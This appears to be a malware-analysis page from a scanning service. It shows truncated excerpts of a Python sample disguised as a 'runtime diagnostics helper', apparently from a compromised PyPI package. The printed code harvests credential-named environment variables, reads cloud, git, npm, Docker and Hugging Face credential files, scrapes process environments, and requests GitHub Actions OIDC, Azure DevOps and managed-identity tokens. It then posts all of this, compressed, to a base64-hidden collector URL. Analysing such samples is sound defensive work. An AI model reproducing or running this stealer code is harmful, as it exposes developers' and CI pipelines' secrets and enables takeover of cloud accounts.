Hostile 100% python Download

variant_urlsafe.py

Developer credential sweep with encoded uploadPython sends credential-named environment entries in JSON over urllib
SHA-256526da2b3882d3d804437f860a3e312979ff0e7ef2e9ac6b4a7432fd5597103f4

Also flagged by https://www.bleepingcomputer.com/feed/ (Microsoft’s Agent Framework PyPI package compromised to steal credentials).

Evidence

urllib body selects default POST method lines 1–33
1# Runtime diagnostics helper.
2import os, sys, json, base64, zlib, socket, glob, time
3
4DESTINATION = "aHR0cHM6Ly9jb2xsZWN0b3IuZXhhbXBsZS5vcmcvdjIvcmVwb3J0"
5
6def deliver(tag, data):
7 try:
8 import urllib.request
9 u = base64.urlsafe_b64decode(DESTINATION).decode()
10 body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
11 req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "collector/2"})
12 urllib.request.urlopen(req, timeout=25).read()
13 except Exception:
14 pass
15
16def gather():
17 import urllib.request, urllib.parse
18 out = {"stage": "telemetry", "host": socket.gethostname(), "user": os.environ.get("USER") or os.environ.get("USERNAME"), "cwd": os.getcwd(), "argv": sys.argv[:20], "time": time.time(), "env": {}, "files": {}, "imds": {}, "ado": {}, "gh_oidc": {}}
19 keys = ("TOKEN","SECRET","PASSWORD","PASSWD","KEY","CONNECTION","ENDPOINT","AZURE","AWS","GITHUB","GH_","HF_","HUGGING","OPENAI","FOUNDRY","VSS","SYSTEM","BUILD","AGENT","CI_","PIP","NPM","NUGET","COSMOS","STORAGE","SUBSCRIPTION","TENANT","CLIENT","IDENTITY","MSI","MANAGED","ACTIONS","OIDC","RUNNER","ARM_")
20 for k, v in os.environ.items():
21 ku = k.upper()
22 if any(x in ku for x in keys):
23 out["env"][k] = v if len(v) < 8000 else v[:8000] + "..."
24 pats = [
25 os.path.expanduser("~/.azure/*.json"), os.path.expanduser("~/.azure/*/*.json"),
26 "/home/*/.azure/*.json", "/home/*/.azure/*/*.json", "/root/.azure/*.json",
27 "/home/*/.config/pip/pip.conf", "/etc/pip.conf", "/home/*/.pip/pip.conf",
28 "/home/*/.npmrc", "/root/.npmrc", "/home/*/.netrc", "/root/.netrc",
29 "/home/*/.git-credentials", "/root/.git-credentials",
30 "/home/*/.docker/config.json", "/root/.docker/config.json",
31 "/home/*/.cache/huggingface/token", "/home/*/.huggingface/token",
32 "/home/*/.foundry/*", "/home/*/.config/foundry/*",
33 "/home/*/_work/*/.crede …
Reads process environs via glob and open lines 35–62
35:46… tials", "/mnt/azure_nvme_temp/_work/*/*/.credentials",
36 "/app/.env", "/app/*.env", "/app/*.json", "/workspace/.env", "/workspace/*.json",
37 "/home/*/.config/*/token*.json", "/root/.config/*/token*.json",
38 "/home/runner/work/_temp/*", "/home/runner/.azure/*.json", "/home/runner/.azure/*/*.json",
39 ]
40 n = 0
41 for pat in pats:
42 try:
43 for f in glob.glob(pat, recursive=True):
44 if n >= 80 or f in out["files"]:
45 continue
46 try:
47 if os.path.isfile(f) and os.path.getsize(f) < 262144:
48 out["files"][f] = open(f, "rb").read().decode("utf-8", "replace")[:120000]
49 n += 1
50 except Exception:
51 pass
52 except Exception:
53 pass
54 for e in glob.glob("/proc/[0-9]*/environ")[:300]:
55 try:
56 raw = open(e, "rb").read().decode("utf-8", "replace")
57 hits = []
58 for kv in raw.split("\x00"):
59 if any(x in kv.upper() for x in ("TOKEN","SECRET","PASSWORD","KEY=","ENDPOINT_AUTH","SYSTEM_ACCESSTOKEN","IDENTITY_HEADER","ACTIONS_ID_TOKEN")):
60 hits.append(kv[:2000])
61 if hits:
62 out["env"]["PROC:" + e] = " …
References the GitHub service name lines 62–77
62:52… (hits)[:12000]
63 except Exception:
64 pass
65 # GitHub Actions OIDC (Azure federated credential)
66 try:
67 u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
68 t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
69 if u and t:
70 for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
71 try:
72 sep = "&" if "?" in u else "?"
73 uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
74 req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "collector/2"})
75 out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]
76 except Exception as ex:
77 out["gh_oidc"].setdefault("err", []).append …
urllib Request carries serialized JSON data lines 83–90
83:52… ) or ""
84 if oe and at:
85 for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
86 try:
87 req = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
88 out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]
89 if out["ado"]["oidc"]:
90 b …
Azure Key Vault resource URL lines 93–101
93:16… ption:
94 pass
95 res = ["https://management.azure.com/","https://ai.azure.com/","https://ml.azure.com/","https://cognitiveservices.azure.com/","https://storage.azure.com/","https://vault.azure.net","https://search.azure.com","https://management.core.windows.net/","https://graph.microsoft.com/","https://containerregistry.azure.net","499b84ac-1321-427f-aa17-267ca6975798","api://AzureADTokenExchange"]
96 idp = os.environ.get("IDENTITY_ENDPOINT") or os.environ.get("MSI_ENDPOINT")
97 idh = os.environ.get("IDENTITY_HEADER") or os.environ.get("MSI_SECRET")
98 for r in res:
99 try:
100 if idp:
101 u = idp + ("&" if "?" in idp else "?") + "api- …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.